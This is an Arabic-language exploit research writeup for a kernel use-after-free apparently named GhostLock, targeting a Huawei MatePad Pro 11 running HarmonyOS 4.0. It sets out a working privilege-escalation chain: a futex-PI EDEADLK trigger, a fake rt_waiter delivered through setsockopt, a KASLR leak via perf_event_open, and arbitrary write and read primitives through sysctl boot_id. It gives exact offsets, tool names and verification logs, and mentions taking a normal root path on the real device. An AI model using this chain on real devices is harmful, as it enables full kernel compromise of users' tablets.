
بحث حول CVE-2026-43499 (GhostLock) على HUAWEI MatePad Pro 11 GOT-W29
بحث استغلال صلاحيات (privilege escalation) على GOT-W29 (HarmonyOS 4.0، kernel 4.19.157-perf+)
بخصوص CVE-2026-43499 (rtmutex/futex-PI stack UAF، "GhostLock").
FUTEX_CMP_REQUEUE_PI يُرجع -EDEADLK،
ومسار التراجع يُفعّل خطأ التنظيف current != waiter->task في remove_waiter() (في هذا النواة
kernel/locking/rtmutex.c:1110-1112، الإصلاح upstream 3bfdc63936dd)، فيصبح
pi_blocked_on الخاص بالـ waiter معلّقًا (يشير إلى rt_waiter عند E-0x1b0 في kernel stack الخاص به).kernel.patched، بدون حقن GDB/KPM):
تعليق EDEADLK → setsockopt(SOL_IP, MCAST_BLOCK_SOURCE, group_source_req 0x108)
يسلّم fake waiter (نقطة هبوط copy عند E-0x210، والـ waiter موضوع عند buf+0x60 ليغطي E-0x1b0 بالضبط)
→ sched_setattr يُفعّل walk → rb_erase يكتب sysctl_bootid، والأداة تتحقق ذاتيًا
write_ok=1 (أعلى 8 بايت من boot_id = 0xffffff800b412320).sock_setsockopt ضمن
سلسلة setsockopt. التفكيك + اختبار QEMU الفعلي يؤكدان أن __arm64_sys_setsockopt لـ
level != SOL_SOCKET يستدعي blr ops->setsockopt مباشرة، دون المرور بـ sock_setsockopt؛
بعد التصحيح عمق نسخ do_ip_setsockopt = 0x210 (كان يُقدّر 0x290)، والهندسة مناسبة.
الآليات المستبعدة: pselect/select، ptrace، import_iovec، ppoll، SCTP (قياس فعلي 0x158).--root). فرق HKIP: جدول رموز نواة GOT-W29 والصورة لا يحتويان على hkip_*/
خطافات hypervisor، كما أن 97 تعليمة hvc في الصورة كاملة ليست على مسار cred/cap/SELinux
(فقط KVM/SMCCC/برامج نقل التصحيح)، أي أن حماية hypervisor xid الخاصة بـ mrx على الأرجح
غير موجودة على هذا الجهاز — يمكن على الجهاز الحقيقي اتباع مسار root العادي مباشرة.| البند | القيمة |
|---|---|
| الطراز | HUAWEI MatePad Pro 11 GOT-W29 |
| SoC | Qualcomm kona (SM8250, Snapdragon 870) |
| النظام | HarmonyOS 4.0 (104.0.0.136) |
| النواة | 4.19.157-perf+ (تفكيك boot.elf + firmware/symtab.txt) |
| VA | 39-bit, 4K pages, KASLR on |
adb shell أو Shizuku كلاهما يعمل.pm disable-user com.huawei.powergenie
pm disable-user com.huawei.iaware
الآلية: إنشاء حلقة PI (waiter→target→owner→chain→waiter) لجعل
FUTEX_CMP_REQUEUE_PI يسلك تراجع EDEADLK، وفي التراجع يستخدم remove_waiter(lock, waiter)
current (خيط requeue) بدلًا من waiter->task للتنظيف:
rt_mutex_dequeue يزيل عقدة الـ waiter الحقيقية، لكن pi_blocked_on الخاص بالـ waiter لا يُمسح
(current->pi_blocked_on = NULL)، فيصبح مؤشرًا معلّقًا يشير إلى rt_waiter في kernel stack.
حلقة حمل القيمة (حلقة probe، مستقرة عمليًا عند -EDEADLK):
FUTEX_LOCK_PI(chain) يحمل chain؛ FUTEX_WAIT_REQUEUE_PI(wait, 0, target)FUTEX_LOCK_PI(target) يحمل target؛ FUTEX_LOCK_PI(chain) يحجبFUTEX_CMP_REQUEUE_PI(wait, 1, target) → -EDEADLKWAIT_REQUEUE_PI 2s) يبقى pi_blocked_on المعلّق على الـ stackملاحظة: تفعيل "self-own" القديم، و-EDEADLK في edeadlk_probe variant 11، كلاهما
خروج مبكر لـ owner==task (rtmutex.c:1035)، ولا ينتج مؤشرًا معلّقًا، فهو غير صالح.
مع perf_event_paranoid=-1، يقوم perf_event_open(PERF_SAMPLE_IP, exclude_user=1)
بأخذ عينات من عنقود نص النواة، وبمحاذاة إزاحات الرموز المعروفة نحصل على slide:
samples=27651 kernel_ips=1685 lo=0xffffff948728176c hi=0xffffff9488ebfc7c
KASLR slide=0x147f200000 runtime _stext=0xffffff9487280800
الأداة: tools/perf_kaslr.c.
[M] CMP_REQUEUE_PI ret=-1 errno=35 (EDEADLK!)
[W] WAIT_REQUEUE_PI ret=-1 errno=110 (ETIMEDOUT) ← waiter 返回، pi_blocked_on 悬空
الأداة: tools/edeadlk_probe.c.
walk الخاص بـ rt_mutex_adjust_prio_chain يقرأ fake rt_waiter عند pi_blocked_on المعلّق:
next_lock == waiter->lock (lock = خانة مستقلة في empty_zero_page، انظر أدناه)raw_spin_trylock(&lock->wait_lock) ينجح على قفل صفريrt_mutex_dequeue → مسار rb_erase ذو الابن الأيسر الوحيد: *(rb_left) = rb_parent_color
→ القيمة المكتوبة 0xffffff800b412320 (&loggers[0][1]) تُكتب في sysctl_bootid + 8لا حاجة لصفحة owner-ful / prepare_skb_payload / kernelsnitch. الـ rt_mutex المزيف
لا يمكن إعادة استخدام نفس الخانة عبر walk: نهاية walk تترك waiters.root/leftmost في القفل مشيرًا
إلى waiter هذه الجولة، وعند walk ثانٍ تُقرأ العقدة القديمة فيتم إلغاء الإشارة إلى kernel stack محرَّر من الجولة السابقة،
مما يُفعّل BUG_ON(w->lock != lock) في rt_mutex_top_waiter() (قياس QEMU: الاختبار الثاني في --verify-all
يُصاب بـ BUG مباشرة). في التنفيذ تُؤخذ لكل attempt خانة empty_zero_page + n*0x20
(إجمالًا 128 خانة، SLIDE_LOCK_STRIDE/SLOTS)، وهي صفرية بطبيعتها ولا تتلوث ببعضها.
مخرجات التحقق الذاتي للأداة في QEMU (kernel.patched، nokaslr، --probe-cycle --verify-all):
4.483 237 [+] slide write boot_id raw=00000000000000002023410b80ffffff lo=0 hi=ffffff800b412320 exp_lo=0 exp_hi=ffffff800b412320 ok=1
4.547 1 [+] slide write test PASSED
6.583 240 [+] slide leaf boot_id raw=00000000000000002023410b80ffffff lo=0 hi=ffffff800b412320 exp_lo=0 exp_hi=0 ok=1
6.636 1 [+] slide leaf test PASSED
8.671 243 [+] slide read boot_id raw=100000002401000030d74c0b80ffffff lo=0000012400000010 hi=ffffff800b4cd730 exp_lo=0000012400000010 exp_hi=ffffff800b4cd730 ok=1
8.724 1 [+] slide read test PASSED
10.811 1 [+] slide restore test PASSED
10.811 1 [+] slide verify all PASSED
(requeue=-1/35 trigger=0/0 wait=-1/110 carrier=-1/22 متسقة في كل attempt:
EDEADLK، نجاح walk، انتهاء مهلة hrtimer، ونجاح نسخ الناقل قبل أن يُرجع EINVAL بسبب مجموعة العنوان المزيف.)
ملاحظة: هدف التحقق يكتب boot_id + 8: proc_do_uuid() يعيد توليد
UUID كامل عندما يكون bootid[8] == 0، وكتابة أقل 8 بايت ستُغطى بقراءة التحقق نفسها (مؤكد بقياس QEMU).
--verify-all)| الشكل | كلمات fake waiter tree الثلاث | التأثير |
|---|---|---|
| pointer (rb_erase Case 2: ابن أيسر وحيد) | pc=value, right=0, left=target | *(target) = value (64 بت كاملة، مع الحفاظ على بتات اللون)؛ أثر جانبي *(value+8) = target، لذا يجب أن يكون value قابلًا للقراءة وأن يكون +8 الخاص به قابلًا للتضحية |
| leaf (Case 1: بلا أبناء) | pc=target-8, right=0, left=0 | *(target) = 0؛ كتابة نظيفة واحدة فقط (بلا أثر جانبي)، pc ببتات منخفضة=0 → RED → لا يُفعّل rebalance، لكن __rb_change_child سيقرأ *(target-8) مرة واحدة |
بعد أن تُغيّر البدائية الكتابية random_table[4].data (= &sysctl_bootid، link 0xffffff800b4cd730؛ مؤكد من
إدخال R_AARCH64_RELATIVE الوحيد في .rela.dyn بقيمة addend=0xffffff800b7f8b64)
إلى العنوان الهدف A، فإن قراءة /proc/sys/kernel/random/boot_id تُرجع
[A, A+16). ملاحظات:
proc_do_uuid() يعيد توليد UUID من 16 بايت عندما يكون ((u8 *)A)[8] == 0 (ويكتب فوق A)،
لذا يجب أن تكون البايت 8 في نافذة القراءة غير صفرية؛A+8 = عنوان خانة .data، لذا يكون النصف الأعلى المقروء دائمًا عنوان تلك الخانة؛
عند الحاجة لقراءة 16 بايت بدقة يجب تجنب هذا الموضع.